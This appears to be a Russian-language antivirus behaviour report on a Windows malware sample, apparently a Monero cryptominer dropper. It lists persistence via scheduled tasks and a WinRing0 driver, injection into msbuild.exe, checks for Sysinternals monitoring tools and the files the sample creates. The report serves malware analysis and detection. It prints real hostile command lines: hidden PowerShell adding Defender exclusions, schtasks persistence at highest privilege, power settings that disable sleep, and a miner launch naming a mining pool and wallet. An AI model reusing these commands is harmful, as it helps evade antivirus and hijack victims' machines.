Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\runtime process
- <SYSTEM32>\tasks\cdrqets
- <SYSTEM32>\tasks\iscompleted
Устанавливает следующие настройки сервисов
- [HKLM\SYSTEM\CurrentControlSet\Services\WinRing0_1_2_0] 'ImagePath' = '%TEMP%\WinRing0x64.sys'
Создает следующие сервисы
- 'WinRing0_1_2_0' %TEMP%\WinRing0x64.sys
Вредоносные функции
Для затруднения выявления своего присутствия в системе
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden Add-MpPreference -ExclusionPath @('%TEMP%\'); Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'; Add-MpPreference -ExclusionProcess 'wtmp_1402384.exe'; Add-MpPreference...
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -WindowStyle Hidden -NoProfile Add-MpPreference -ExclusionPath %LOCALAPPDATA%,%TEMP%\;Add-MpPreference -ExclusionPath %LOCALAPPDATA%\IsSealed\ffrkd\IsCompleted.exe;Add-M...
Внедряет код в
следующие системные процессы:
- %WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe
Завершает или пытается завершить
следующие системные процессы:
- <SYSTEM32>\windowspowershell\v1.0\powershell.exe
Ищет следующие окна с целью
обнаружения утилит для анализа:
- ClassName: 'FilemonClass', WindowName: ''
- ClassName: '', WindowName: 'File Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'PROCMON_WINDOW_CLASS', WindowName: ''
- ClassName: '', WindowName: 'Process Monitor - Sysinternals: www.sysinternals.com'
- ClassName: 'RegmonClass', WindowName: ''
Изменения в файловой системе
Создает следующие файлы
- %TEMP%\content\1504-2592-<Имя файла>.exe-11-28-12-964.dump
- %APPDATA%\runtime\data\runtimebroker.exe
- %TEMP%\wtmp_1402384.exe
- %TEMP%\wtmp_250394.exe
- %TEMP%\content\2664-3364-wtmp_1402384.exe-11-28-26-347.dump
- %TEMP%\content\4768-2828-runtimebroker.exe-11-28-28-765.dump
- %TEMP%\procsrv.exe
- %TEMP%\winring0x64.sys
- %TEMP%\content\2636-3912-wtmp_250394.exe-11-28-30-237.dump
- %TEMP%\content\2636-3912-wtmp_250394.exe-11-28-30-935.dump
- %TEMP%\content\2636-3912-wtmp_250394.exe-11-28-30-946.dump
- %TEMP%\3a7eddb9f36341889a6a13dc8a624d18.xml
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\wtmp_250394.exe.log
- %TEMP%\cleanup_0b7fef8c-73c3-4e9d-85dc-1394e3bb7e33.bat
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\<Имя файла>.exe.log
- nul
- %LOCALAPPDATA%\issealed\ffrkd\iscompleted.exe
- %TEMP%\02beb7a1b58c46e781f30b41f09d277b.xml
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\wtmp_1402384.exe.log
- %TEMP%\content\5072-3164-iscompleted.exe-11-28-51-504.dump
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\iscompleted.exe.log
- %TEMP%\content\2176-1364-msbuild.exe-11-28-56-920.dump
- %LOCALAPPDATA%\microsoft\clr_v4.0\usagelogs\msbuild.exe.log
Удаляет файлы, которые сам же создал
- %TEMP%\3a7eddb9f36341889a6a13dc8a624d18.xml
- %TEMP%\02beb7a1b58c46e781f30b41f09d277b.xml
- <SYSTEM32>\tasks\cdrqets
Сетевая активность
Подключается к
- 'gu##.##neroocean.stream':10128
- 'wi#####rdr.hopto.org':58009
TCP
Другие
- 'gu##.##neroocean.stream':10128
- 'wi#####rdr.hopto.org':58009
UDP
- DNS ASK gu##.##neroocean.stream
- DNS ASK wi#####rdr.hopto.org
Другое
Ищет следующие окна
- ClassName: 'Registry Monitor - Sysinternals: www.sysinternals.com' WindowName: ''
- ClassName: '18467-41' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden Start-Process '%APPDATA%\Runtime\Data\RuntimeBroker.exe'
- '%APPDATA%\runtime\data\runtimebroker.exe'
- '%TEMP%\wtmp_1402384.exe'
- '%TEMP%\wtmp_250394.exe'
- '%TEMP%\procsrv.exe' -o gulf.moneroocean.stream:10128 -u 87NnUp8GKVBZ8pFV75Gas4A5nMMH7gEeo8AXBhm9Q6vS5oQ6SzCYf1bJr7Lib35VN2UX271PAXeqRFDmjo5SXm3zFDfDSWD -p R1225 --cpu-max-threads-hint=80 --donate-level=1 --pause-o...
- '%LOCALAPPDATA%\issealed\ffrkd\iscompleted.exe'
Запускает на исполнение
- '<SYSTEM32>\schtasks.exe' /Create /TN "Runtime Process" /TR "\"%APPDATA%\Runtime\Data\RuntimeBroker.exe\"" /SC ONLOGON /RL HIGHEST /F
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden Start-Process '%TEMP%\\wtmp_1402384.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -WindowStyle Hidden Start-Process '%TEMP%\\wtmp_250394.exe'
- '<SYSTEM32>\cmd.exe' /c powercfg /change standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /change standby-timeout-ac 0
- '<SYSTEM32>\cmd.exe' /c powercfg /change standby-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /change standby-timeout-dc 0
- '<SYSTEM32>\cmd.exe' /c powercfg /change hibernate-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /change hibernate-timeout-ac 0
- '<SYSTEM32>\cmd.exe' /c powercfg /change hibernate-timeout-dc 0
- '<SYSTEM32>\powercfg.exe' /change hibernate-timeout-dc 0
- '<SYSTEM32>\schtasks.exe' /Create /TN "cdrqets" /XML "%TEMP%\3a7eddb9f36341889a6a13dc8a624d18.xml" /F (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c ""%TEMP%\cleanup_0b7fef8c-73c3-4e9d-85dc-1394e3bb7e33.bat""
- '<SYSTEM32>\timeout.exe' /t 1 /nobreak
- '<SYSTEM32>\schtasks.exe' /Create /TN "IsCompleted" /XML "%TEMP%\02beb7a1b58c46e781f30b41f09d277b.xml" /F (со скрытым окном)
- '%WINDIR%\microsoft.net\framework64\v4.0.30319\msbuild.exe'
